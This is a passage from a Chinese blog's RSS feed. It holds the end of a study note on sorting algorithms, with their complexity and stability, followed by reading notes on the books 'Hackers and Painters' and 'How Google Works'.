&lt;li&gt;直接插入排序：将未排序记录插入到已排序记录的适当位置，且保持有序
&lt;ul&gt;
&lt;li&gt;从右到左找到适当位置，将该位置后面的元素后移来空出位置&lt;/li&gt;
&lt;li&gt;哨兵：将表中第一个位置前的值设为当前待插入元素的值&lt;/li&gt;
&lt;li&gt;在比较过程中后移，每次一符合条件就后移一位&lt;/li&gt;
&lt;li&gt;最好情况：一开始就是有序的&lt;/li&gt;
&lt;li&gt;最坏情况：一开始就是逆序的&lt;/li&gt;
&lt;li&gt;时间复杂度：O(n^2)&lt;/li&gt;
&lt;li&gt;附加空间：1（哨兵）&lt;/li&gt;
&lt;li&gt;稳定性：稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;二分法插入排序：插入时用二分法在已有序记录中找到合适位置
&lt;ul&gt;
&lt;li&gt;比较次数：少于直接插入的最多比较次数，多于直接插入的最少比较次数&lt;/li&gt;
&lt;li&gt;当 n 较大时，二分插入比较次数远少于直接插入平均比较次数，但移动次数相同&lt;/li&gt;
&lt;li&gt;时间复杂度：O(n^2)&lt;/li&gt;
&lt;li&gt;附加空间：1&lt;/li&gt;
&lt;li&gt;稳定性：稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;表插入排序：在不进行记录移动的情况下，通过存储结构信息的改变来完成排序
&lt;ul&gt;
&lt;li&gt;从下标 0 开始沿着 link 域得到递增的静态链表&lt;/li&gt;
&lt;li&gt;时间复杂度：O(n^2)&lt;/li&gt;
&lt;li&gt;稳定性：稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Shell 插入排序：对于 n 个记录可分为 d 组，每隔 d 取一个数，每组有 n/d 个元素，对每组分别进行直接插入排序，逐渐缩小 d 的值，直至为 1，此时有序
&lt;ul&gt;
&lt;li&gt;关键在于选取高效的增量序列&lt;/li&gt;
&lt;li&gt;稳定性：不稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;选择排序&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;直接选择排序：每次从待排序记录中选择最小（最大）元素，将其放入正确的位置（与第一个记录交换）
&lt;ul&gt;
&lt;li&gt;初始有序时：无任何移动记录的操作&lt;/li&gt;
&lt;li&gt;时间复杂度：O(n^2)&lt;/li&gt;
&lt;li&gt;附加空间：1&lt;/li&gt;
&lt;li&gt;稳定性：不稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;树型选择排序：保存比较的结果，而不用重复比较
&lt;ul&gt;
&lt;li&gt;结构：所有排序码均在叶子结点，分支结点保存左右子树的较小（大）者&lt;/li&gt;
&lt;li&gt;记录数个数为奇数时：可增加一个大于（小于）所有值的结点进行比较&lt;/li&gt;
&lt;li&gt;每次从根结点取出最小（最大）的值后，用正无穷值替换原来的位置&lt;/li&gt;
&lt;li&gt;时间复杂度：O(nlog_2n)&lt;/li&gt;
&lt;li&gt;附加空间：
&lt;ul&gt;
&lt;li&gt;n-1 个分支结点用于存放中间比较结果&lt;/li&gt;
&lt;li&gt;存储已排序记录的空间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;堆排序：堆是一颗完全二叉树，且任意分支结点的值都小于（大于）或等于左右结点
&lt;ul&gt;
&lt;li&gt;即保存中间比较结果，有不占用过多存储空间&lt;/li&gt;
&lt;li&gt;用数组（顺序方式）存放该完全二叉树&lt;/li&gt;
&lt;li&gt;建堆：从第 floor(n/2) 个结点开始，直到以第一个结点为根的整棵树有堆的性质&lt;/li&gt;
&lt;li&gt;筛选算法：对某个序号进行调整的算法&lt;/li&gt;
&lt;li&gt;排序：不断从根结点取出元素，再重新满足堆的性质&lt;/li&gt;
&lt;li&gt;重新建堆：
&lt;ol&gt;
&lt;li&gt;堆中最后一个元素与根结点（数组中的第一个元素）交换，堆中元素总数 -1&lt;/li&gt;
&lt;li&gt;再从根结点重新调整&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;适用于 n 较大的文件：因为建堆和调整需要多次筛选&lt;/li&gt;
&lt;li&gt;时间复杂度：O(nlog_2n)&lt;/li&gt;
&lt;li&gt;附加空间：1&lt;/li&gt;
&lt;li&gt;稳定性：不稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;交换排序&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;冒泡排序：排序码之间两两比较，如果不满足排序顺序则交换。每趟将一个元素放到最终正确位置，在某趟中未发生元素交换则表示已排序
&lt;ul&gt;
&lt;li&gt;时间复杂度：O(n^2)&lt;/li&gt;
&lt;li&gt;附加空间：1&lt;/li&gt;
&lt;li&gt;稳定性：稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;快速排序：取一记录为 pivot，使得它前面的记录小于它，它后面的记录大于它。再对前面和后面的记录递归重复
&lt;ul&gt;
&lt;li&gt;分区：在数组左右两端设置两个指针，向中间扫描，停止时（满足条件）交换&lt;/li&gt;
&lt;li&gt;时间复杂度：O(nlog_2n)&lt;/li&gt;
&lt;li&gt;附加空间：1 + 递归调用所占空间&lt;/li&gt;
&lt;li&gt;稳定性：不稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;归并排序&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;思想：对多个有序子文件合并成一个大的有序文件&lt;/li&gt;
&lt;li&gt;归并：2 个有序子文件进行比较，取出较小（较大）元素放入目标文件&lt;/li&gt;
&lt;li&gt;三路归并排序：归并的有序子文件有 3 个&lt;/li&gt;
&lt;li&gt;一次归并&lt;/li&gt;
&lt;li&gt;一趟归并&lt;/li&gt;
&lt;li&gt;时间复杂度：O(nlog_2n)&lt;/li&gt;
&lt;li&gt;附加空间：与待排序文件空间相同&lt;/li&gt;
&lt;li&gt;稳定性：稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;基数排序（分配排序）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;思想：运用多排序码的思想进行单排序码排序&lt;/li&gt;
&lt;li&gt;多排序码的排序：
&lt;ul&gt;
&lt;li&gt;分配：分成若干份&lt;/li&gt;
&lt;li&gt;收集：将若干份按序叠在一起&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;静态链式基数排序：
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;先建立一个单链表，一个结点对应一个记录&lt;/li&gt;
&lt;li&gt;分配：从个位分配到对应的队列中，在同一队列的元素个位数都相同&lt;/li&gt;
&lt;li&gt;收集：从队列中的元素按序还原成单链表&lt;/li&gt;
&lt;li&gt;重复执行 2、3，从最低位到最高位&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;设排序码的取值范围中值的个数为 rd（十进制则为10）：
&lt;ul&gt;
&lt;li&gt;收集：O(rd)&lt;/li&gt;
&lt;li&gt;总共要进行 b 趟分配和 b 趟收集&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;时间复杂度：O(b(n+rd))&lt;/li&gt;
&lt;li&gt;附加空间：2rd 个队列指针 + n 个 link 指针域&lt;/li&gt;
&lt;li&gt;稳定性：稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】黑客与画家</title><link>https://www.sulinehk.com/post/note-for-hackers-and-painters/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-hackers-and-painters/</guid><pubDate>Mon, 02 May 2022 07:23:08 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;h2&gt;第一章 为什么书呆子不受欢迎&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;书呆子比起受欢迎，更希望变得聪明；&lt;/li&gt;
&lt;li&gt;书呆子被欺负的原因是，这个年纪的青少年在心理上还没有摆脱儿童状态；&lt;/li&gt;
&lt;li&gt;成年人不知道孩子们内部发生的事；&lt;/li&gt;
&lt;li&gt;校方最重视的事情就是让学生待在自己应该待的位置；&lt;/li&gt;
&lt;li&gt;真实世界的书呆子不受欺负的原因是，它的庞大规模使得你做的事情都能产生真正意义上的效果；&lt;/li&gt;
&lt;li&gt;学校只是一个成年人设置的，用来囚禁现在还没有生产能力的儿童的监狱。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二章 黑客与画家&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;黑客和画家类似，而不是一种科学；&lt;/li&gt;
&lt;li&gt;唯一有效的外部考核就是时间；&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第三章 不能说的话&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在不同的时间或地点，普罗大众对某些观点的看法是不同的；&lt;/li&gt;
&lt;li&gt;寻找和质疑哪些不能说的话能有优渥的回报&lt;/li&gt;
&lt;li&gt;不要说哪些不能说的话&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第四章 良好的坏习惯&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;黑客大多数不服从管教&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第五章 另一条路&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;创业公司使用大公司不能使用的编程语言，就能打败它们&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第六章 如何创造财富&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;创业就是压缩工作年份&lt;/li&gt;
&lt;li&gt;不同的人所能创造的财富是不同的&lt;/li&gt;
&lt;li&gt;致富需要可测量性（小团队）和可放大性（高科技）&lt;/li&gt;
&lt;li&gt;创业在个体上是不成比例的&lt;/li&gt;
&lt;li&gt;保护拆产的所有权，就能促使人们去致富&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第七章 关注贫富分化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;不公平是老爹模式的标志&lt;/li&gt;
&lt;li&gt;压制收入差距的扩大，会导致社会作为一个整体变得更贫穷了。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第八章 防止垃圾邮件的一种方法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;贝叶斯方法很有效&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第九章 设计者的品味&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;好的设计是怎样的&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十章 编程语言解析&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;语言之间天差地别&lt;/li&gt;
&lt;li&gt;高级语言比较好&lt;/li&gt;
&lt;li&gt;静态类型和动态类型没有固定答案&lt;/li&gt;
&lt;li&gt;面向对象很好，但是不能强迫使用&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十一章 一百年后的编程语言&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;编程语言的组成分为：基本运算符的集合（扮演公理的角色）、除运算符以外的其它部分；&lt;/li&gt;
&lt;li&gt;一种语言的内核设计得越小、越干净，它的生命力就越顽强；&lt;/li&gt;
&lt;li&gt;性能分析器很重要&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十二章 拒绝平庸&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Lisp 是位于语言进化树最上方的语言&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十三章 书呆子的复仇&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Lisp 是为了证明数学才诞生的语言，所以它容易不会过时。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十四章 梦寐以求的编程语言&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;最好的编程语言的特征&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十五章 设计与研究&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;设计是改进已有的东西，研究是创造新的东西，但它们最后会交汇到一起。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】重新定义公司 - 谷歌是如何运营的</title><link>https://www.sulinehk.com/post/note-for-how-google-works/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-how-google-works/</guid><pubDate>Mon, 02 May 2022 07:23:08 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;未来企业的成功之道，是聚集一群聪明的创意精英，营造合适的氛围和支持环境，充分发挥他们的创造力，快速感知客户的需求，愉快地创造相应的产品和服务。&lt;/p&gt;
&lt;p&gt;未来组织最重要的功能已经越来越清楚，那就是赋能，而不再是管理或激励。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一次是工业革命，核心是机器取代了体力，技术超越了技能。&lt;/li&gt;
&lt;li&gt;第二次是生产力革命，核心是以泰勒制为代表的科学管理的普及，工作被知识化，强调的是标准化、可度量等概念。&lt;/li&gt;
&lt;li&gt;第三次是管理革命，知识成为超越资本和劳动力的最重要的生产要素。管理的重心转向激励，特别是动机的匹配。&lt;/li&gt;
&lt;li&gt;第四次革命，即“创意革命”。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在可见的未来，机械性的、可重复的脑力劳动，甚至较为复杂的分析任务，都会被机器智能取代。&lt;/p&gt;
&lt;p&gt;未来社会最有价值的人，是以创造力、洞察力、对客户的感知力为核心特征的。&lt;/p&gt;
&lt;p&gt;在创意革命的时代，创意者最主要的驱动力是创造带来的成就感和社会价值，自激励是他们的特征。这个时候他们最需要的不是激励，而是赋能，也就是提供他们能更高效创造的环境和工具。以科层制为特征、以管理为核心职能的公司，面临着前所未有的挑战。&lt;/p&gt;
&lt;p&gt;赋能的原则如何体现呢？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;激励偏向的是事成之后的利益分享，而赋能强调的，是激起创意人的兴趣与动力，给予挑战。唯有发自内心的志趣，才能激发持续的创造。&lt;/li&gt;
&lt;li&gt;赋能比激励更依赖文化。文化才能让志同道合的人走到一起。&lt;/li&gt;
&lt;li&gt;激励聚焦在个人。而赋能特别强调组织本身的设计、人和人的互动。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果谷歌能提供优质服务，那么资金问题就能迎刃而解。&lt;/p&gt;
&lt;p&gt;尽可能多地聘请有才华的软件工程师，给他们自由发挥的空间。&lt;/p&gt;
&lt;p&gt;多数企业都在用过关制：设立明晰的阶段和步骤，并安排公司自下而上的各级管理者进行层层评估。这种方法的初衷是节约资源，将广泛散布的信息汇集到一小撮决策者那里。&lt;/p&gt;
&lt;p&gt;员工得到充分授权，公司所处的新兴行业日新月异。&lt;/p&gt;
&lt;p&gt;三股强大的科技狂潮：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;互联网让信息免费、源源不断、无处不在，也就是说，几乎所有信息都可以在网络上找到。&lt;/li&gt;
&lt;li&gt;移动设备和网络让全球范围内的资讯共享及持续通信成为可能。&lt;/li&gt;
&lt;li&gt;云计算让人人都能以低廉的价格现付现购地使用强大的计算功能、无限的内存空间、精密的工具和各种应用程序。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用经济术语来说，如果某行业产品主要要素的成本曲线下降，那么该行业必将会出现剧变。&lt;/p&gt;
&lt;p&gt;提供出类拔萃的产品是企业成功的关键，产品甚至比掌控信息、垄断渠道和强力营销更重要。原因是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;消费者从未像现在一样拥有这么多信息和选择。&lt;/li&gt;
&lt;li&gt;实验和失败的成本显著下降。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以前，人们会花30%的时间打造优质服务，70%的时间大张旗鼓地宣传。但现在，情况正好相反。&lt;/p&gt;
&lt;p&gt;知识工作者：以信息为基础进行工作的人。&lt;/p&gt;
&lt;p&gt;提高产品研发速度及产品质量已然成为企业最为注重的目标。&lt;/p&gt;
&lt;p&gt;创意精英的特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不仅拥有过硬的专业知识，懂得如何使用专业工具，还需具备充足的实践经验。&lt;/li&gt;
&lt;li&gt;有分析头脑。&lt;/li&gt;
&lt;li&gt;有商业头脑。&lt;/li&gt;
&lt;li&gt;有竞争头脑。&lt;/li&gt;
&lt;li&gt;拥有用户头脑。&lt;/li&gt;
&lt;li&gt;是新颖原创构想的源泉。&lt;/li&gt;
&lt;li&gt;充满好奇心。&lt;/li&gt;
&lt;li&gt;喜爱冒险。&lt;/li&gt;
&lt;li&gt;自动自发。&lt;/li&gt;
&lt;li&gt;心态开放。&lt;/li&gt;
&lt;li&gt;一丝不苟。&lt;/li&gt;
&lt;li&gt;善于沟通。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;共同特点是：认真努力、乐于挑战现状、敢于从不同的角度切入问题。&lt;/p&gt;
&lt;p&gt;众多商业领导者都需要面对的任务：重设管理原则，创造并维持一种新的工作环境，在这家飞速发展的企业中为我们卓越的创意精英们提供茁壮成长的沃土。&lt;/p&gt;
&lt;h2&gt;第一章 文化：相信自己的口号&lt;/h2&gt;
&lt;p&gt;在企业成立之初就认真考虑并且确定你希望的企业文化，这才是明智之举。&lt;/p&gt;
&lt;p&gt;实际上，你所在企业基础设施的整体设计目标很可能就是（以最小的花费）提供宽敞和安静的环境，级别越高的人，工作空间就越宽敞，环境也越清静。&lt;/p&gt;
&lt;p&gt;办公室的设计应本着激发活力、鼓励交流的理念，而不要一味制造阻隔、强调地位。&lt;/p&gt;
&lt;p&gt;方便的交流可以为创意精英们提供灵感，把创意精英聚集在一起，你就能引爆他们的思想。因此，我们必须为他们提供一个拥挤的环境。&lt;/p&gt;
&lt;p&gt;如果你轻松伸手就能拍到同事的肩膀，那么你们之间的交流和创意的互动就是畅通无阻的。&lt;/p&gt;
&lt;p&gt;我们认为，不同职能的团队应该整合在一起。&lt;/p&gt;
&lt;p&gt;在互联网时代，产品经理的任务是与设计、策划以及研发人员通力合作，共同打造高质量的产品。这样的模式要求产品经理通过涉足一些传统概念中的管理工作来影响产品生命周期、制定产品营销结构图、为消费者说话，并把这些理念传递给自己的团队和管理层。&lt;/p&gt;
&lt;p&gt;从本质上来讲，薪金的高低与决策能力完全无关，而只有在决策人使用个人经验作为有力凭据时，我们才能说经验的多寡对决策有所影响。&lt;/p&gt;
&lt;p&gt;要营造任人唯贤的环境，我们必须创造一种强调“质疑”的文化。如果员工对某个问题存在疑义，就必须把自己的顾虑提出来。如果因为员工三缄其口而让不尽如人意的构想占了上风，那么这些员工也难辞其咎。&lt;/p&gt;
&lt;p&gt;创意精英希望多干实事，因此需要加深与决策者之间的沟通。&lt;/p&gt;
&lt;p&gt;7的法则：要求每位管理者的桌上至少要放7份直接报告。&lt;/p&gt;
&lt;p&gt;谷歌坚持按职能划分部门，将企业分为工程、产品、财务以及销售等部门，每个部门直接向首席执行官汇报。&lt;/p&gt;
&lt;p&gt;以业务或产品线为基础的组织结构会造成“各成一家”的局势，从而对人员和信息的自由流动形成扼制。每个部门自负盈亏的措施看似有利于衡量业绩，却会使各业务部门的领导者把自己部门的盈亏置于企业整体利益之上，从而对部门的发展方向造成误导。&lt;/p&gt;
&lt;p&gt;重组原则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;留意不同团队的不同倾向：工程人员喜欢复杂，市场人员喜欢增加管理层，销售人员喜欢招助理。你需要从中做出权衡（实际上，能够认识到这一点已经算是跨出一大步了）。&lt;/li&gt;
&lt;li&gt;把所有重组工作安排在一天内完成。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;重组的关键，一是要速战速决，二是要在重组敲定前就开始实施。&lt;/p&gt;
&lt;p&gt;组织应由小规模的团队构成。&lt;/p&gt;
&lt;p&gt;两个比萨原则：团队人数不能多到两个比萨还吃不饱。&lt;/p&gt;
&lt;p&gt;一条至关重要的组织原则是：找出最有影响力的人物，组织就以此人为中心。&lt;/p&gt;
&lt;p&gt;在管理层的顶端，最有影响力的人（也就是执掌企业运营大权的人）应该是产品负责人。&lt;/p&gt;
&lt;p&gt;一旦找出了最有影响力的人，就应当赋予他们重任。&lt;/p&gt;
&lt;p&gt;一家企业的品格是所有成员品格的总和，因此如果你想打造一家高品格的企业，就必须要求员工也有高品格。&lt;/p&gt;
&lt;p&gt;作为管理者，一旦在团队中发现害群之马，最好的方法是减少其职责，并让骑士接手剩下的工作。&lt;/p&gt;
&lt;p&gt;恶棍所占的比例有一个临界点。这个比例达到一定数值时，大家就会认为自己必须迎合恶棍的做法才有出路，而这只能让形势愈演愈烈。&lt;/p&gt;
&lt;p&gt;作为领导者，你需要给员工以自由和责任。不要强迫他们加班加点，也无须规劝他们早些回家陪伴家人。你只需让员工知道他们需要对自己的工作负全责，这样，他们就会全力以赴地确保完成工作。给他们足够的空间和自由，让他们自己做主。&lt;/p&gt;
&lt;p&gt;在大团队中，请假的人可能会给别人偷懒的印象，但小团队却能理解成员偶尔的缺席。&lt;/p&gt;
&lt;p&gt;添加流程或增设门槛的前提条件一定要严格，如果不是出于能够让人百般信服的业务上的考量，就不要增设这些障碍。&lt;/p&gt;
&lt;p&gt;对未来成功的憧憬会令人振奋，但更多的乐趣却来自同事间的欢声笑语、幽默调侃。&lt;/p&gt;
&lt;p&gt;快乐文化与创意文化有一个共同点：快乐无处不在。关键在于，要尽量放宽限制，没有什么是“神圣不可侵犯”的。&lt;/p&gt;
&lt;p&gt;在企业变革时期，你需要先找一批精明的人才。要找到一批精明的人，你就得先找到其中的一个。&lt;/p&gt;
&lt;p&gt;如果你决心开创一番新事业（或是对现有的事业做出彻底改造），就要面对冗长的工作日、无眠的夜晚，甚至连参加生日派对的时间都要被砍去。&lt;/p&gt;
&lt;p&gt;你还必须聘请那些跟你志同道合、甘愿与你做出同样牺牲的人。要做到这一切，你必须拥有坚信自己定会成功的激情，也要拥有为梦想而实干的理性。这不仅需要你潜心投入、坚韧不拔，更重要的是要心无旁骛。&lt;/p&gt;
&lt;h2&gt;第二章 战略：你的计划是错误的&lt;/h2&gt;
&lt;p&gt;如果你有商业计划，那你的计划一定是错误的。&lt;/p&gt;
&lt;p&gt;风险投资家应永远遵守投团队而不投计划的准则。&lt;/p&gt;
&lt;p&gt;制订计划无可厚非，但是要明白，随着你对产品和市场了解的加深及事业的发展，计划也要随之做出调整。&lt;/p&gt;
&lt;p&gt;用基于技术洞见的创新方式解决重大难题，优化规模而非收入，让能影响每个人的优秀产品带动市场增长。时至今日，这些原则仍是互联网时代企业成功的基本指南。&lt;/p&gt;
&lt;p&gt;所谓的技术洞见，是指用创新方式应用科技或设计，以达到生产成本的显著降低或产品功能和可用性的大幅提升。&lt;/p&gt;
&lt;p&gt;与满足消费者的现有需求相比，满足消费者尚未意识到的需求更为重要。&lt;/p&gt;
&lt;p&gt;最优秀的产品是靠技术因素而非商业因素赢得成功的，而在那些稍逊一筹的产品身上，技术优势就不那么突出了。&lt;/p&gt;
&lt;p&gt;当我们的环境中充斥着丰富多样的素材，可供我们通过组合和再组合进行新的创作时，就表示组合创新时代来临了。&lt;/p&gt;
&lt;p&gt;找到一个具体问题的解决方案，然后想办法对这个解决方案加以拓展，这也是寻找技术洞见的一个方法。&lt;/p&gt;
&lt;p&gt;随着信息、连接、计算、生产、分销、人才等几乎所有资源的普及，你不必再聚集一众人力，广布办公网点，就能创建一家具有全球影响力的企业。&lt;/p&gt;
&lt;p&gt;随着平台的不断扩张和不断升值，越来越多的投资会涌进来，有助于平台支持的产品与服务的升级。&lt;/p&gt;
&lt;p&gt;如果企业内部交易的成本不再高于外部交易的成本，企业将倾向于缩小。&lt;/p&gt;
&lt;p&gt;有时，创建平台的最好方法就是寻找一个有发展潜质的领域。&lt;/p&gt;
&lt;p&gt;开放的平台更容易实现快速扩张。&lt;/p&gt;
&lt;p&gt;开放的意思是，推进软件编码或搜索结果等知识产权信息的共享，遵守通用标准而非自己订立标准，让消费者享有随时退出你的平台的自由。&lt;/p&gt;
&lt;p&gt;开放的模式非常有助于进行这样的竞争，因为开放不但有助于吸收创意（比如为企业平台增添新的卖点，从合作伙伴那里获取新的应用程序），也可以降低互补性元素的成本。&lt;/p&gt;
&lt;p&gt;开放也可以让成千上万人的才能为你所用。&lt;/p&gt;
&lt;p&gt;开放可以刺激更大的创意，因为人们不必再去重复已有的成果，转而全身心地用新的创意推动整个行业体制的发展。&lt;/p&gt;
&lt;p&gt;如果你把所有的信息都放在网上，这说明你没有什么好隐瞒的。&lt;/p&gt;
&lt;p&gt;开放模式的另一个优势是让用户享受到了自由，来去自如，这与将消费者禁锢起来的做法正好相反。&lt;/p&gt;
&lt;p&gt;开放无关道德，开放往往是激发创意和降低成本的最好方式。&lt;/p&gt;
&lt;p&gt;在有些情况下，封闭也能取得良好的效果。如果你的产品有明显的优势（通常是因为产品背后有强大的技术洞见做支持），而你处在一个快速发展的新兴市场，那么你无须公开你的平台，也可以快速成长。&lt;/p&gt;
&lt;p&gt;开放的平台有时对用户和创意无益。&lt;/p&gt;
&lt;p&gt;一些企业领导者花费大量的时间来观察和模仿竞争者，等到最终有所突破、敢于做新的尝试时，他们却在探索的路上瞻前顾后，只敢小心谨慎地做出收效甚微的改变。&lt;/p&gt;
&lt;p&gt;如果你把注意力放在竞争对手身上，那你绝不会实现真正的创新。&lt;/p&gt;
&lt;p&gt;竞争对手可以促使你前进，让你保持警醒。无论如何要提醒自己时时保持警惕，我们总有掉以轻心的时候。&lt;/p&gt;
&lt;p&gt;如果你已在这个市场中站稳脚跟，你可以并购或创建一个破坏性挑战者，也可以采取无视的态度。&lt;/p&gt;
&lt;p&gt;如果你是挑战者，你需要发明出新产品，并围绕产品打造你的企业，还需清楚既有企业用来遏制你的工具（比如业务关系、商业规范和法律诉讼）以及为你设置的障碍。&lt;/p&gt;
&lt;p&gt;你也应该考虑市场其他参与者的动机，他们可能会助你一臂之力。&lt;/p&gt;
&lt;p&gt;增长是重中之重。&lt;/p&gt;
&lt;p&gt;确立一个大致的时间表，明确你希望达到的最终目标。&lt;/p&gt;
&lt;p&gt;不要使用市场调查和竞争者分析。&lt;/p&gt;
&lt;p&gt;迭代对战略至关重要。迭代必须快速，且必须以研究为基础。&lt;/p&gt;
&lt;p&gt;许多大型企业的成功都从以下几点入手：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用创新的方式解决问题。&lt;/li&gt;
&lt;li&gt;利用这个解决方式快速成长与扩张。&lt;/li&gt;
&lt;li&gt;成功很大程度上是以产品为基础的。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第三章 人才：招聘是你最重要的工作&lt;/h2&gt;
&lt;p&gt;对于管理者而言，“工作中最重要的事情”是招聘人才。&lt;/p&gt;
&lt;p&gt;在多数企业中，高管职位越高，对于招聘事宜越是不管不问。但实际上，这样的做法是本末倒置。&lt;/p&gt;
&lt;p&gt;传统招聘模式的层级制度非常严明：决定大权掌握在用人部门的经理手中，用人部门的其他成员提出自己的意见，无论经理做出怎样的决定，高管都会盖章批准。&lt;/p&gt;
&lt;p&gt;领导者（以及管理学书籍的作者们）常说自己会招聘比自己更聪明的人，但实际上，这种情况在层级招聘制度下很难发生。&lt;/p&gt;
&lt;p&gt;应该摒弃层级制，招聘结果应该通过同事评估、由委员会来定夺。&lt;/p&gt;
&lt;p&gt;招聘目的应是尽可能吸引最优秀的人才，即便暂时没有与此人经验相匹配的空缺职位也应如此。&lt;/p&gt;
&lt;p&gt;同事评估的招聘体制不以组织为重，而以人才为本。创意精英们比具体职位更重要，公司比经理人更重要。&lt;/p&gt;
&lt;p&gt;优质人才组成的员工团队不仅能做出令人满意的成绩，还能吸引更多优质人才的加入。&lt;/p&gt;
&lt;p&gt;应该从一开始就设置较高的招聘标准，这样才能吸引高水平人才。&lt;/p&gt;
&lt;p&gt;有激情的人不会用激情到处招摇，激情在他们的心中，在他们的行动中。&lt;/p&gt;
&lt;p&gt;坚持、刚毅、认真以及专注，激情的这些特点绝不是简历上的辞藻堆砌出来的。&lt;/p&gt;
&lt;p&gt;激情也不总是与成功挂钩，如果某人对一件事充满激情，那么即便刚开始没有获得成功，他们也会长时间地坚持下去。&lt;/p&gt;
&lt;p&gt;在招聘时不要太看重应聘者掌握了多少知识，而要重视他们尚未开发的潜力。&lt;/p&gt;
&lt;p&gt;如果你觉得你已经定型，那么无论环境如何，你都会一次又一次地重蹈覆辙。但如果你拥有成长型思维模式，你就会相信，经过努力，你的个性是能够培养和改变的。&lt;/p&gt;
&lt;p&gt;激情、智慧以及学习型思维模式都是招聘中不可或缺的参考条件。&lt;/p&gt;
&lt;p&gt;应聘者的性格同样至关重要。我们要寻找的人，不仅要待人亲切、值得信赖，也要处事周全、了解世界大势。我们要找的，是有趣的人。&lt;/p&gt;
&lt;p&gt;Googleyness：包括上进心和抱负、团队精神、服务精神、倾听及沟通能力、行动力、效率、人际交往技巧、创造力以及品行等特质。&lt;/p&gt;
&lt;p&gt;优秀人才的行为举止往往不拘一格。&lt;/p&gt;
&lt;p&gt;吸引人才：物色、面试、录用、谈论待遇。&lt;/p&gt;
&lt;p&gt;如果你愿意冒险鼓励人才去尝试他们从未挑战过的任务，你就能得到一些非凡的俊才。&lt;/p&gt;
&lt;p&gt;最优秀的人才通常是那些职业生涯处在上升阶段的人，因为如果顺着他们的职业趋势向前推，你会发现他们非常有潜力获得成长和成功。&lt;/p&gt;
&lt;p&gt;要把招募人才纳入每位员工的职责，并进行评估。&lt;/p&gt;
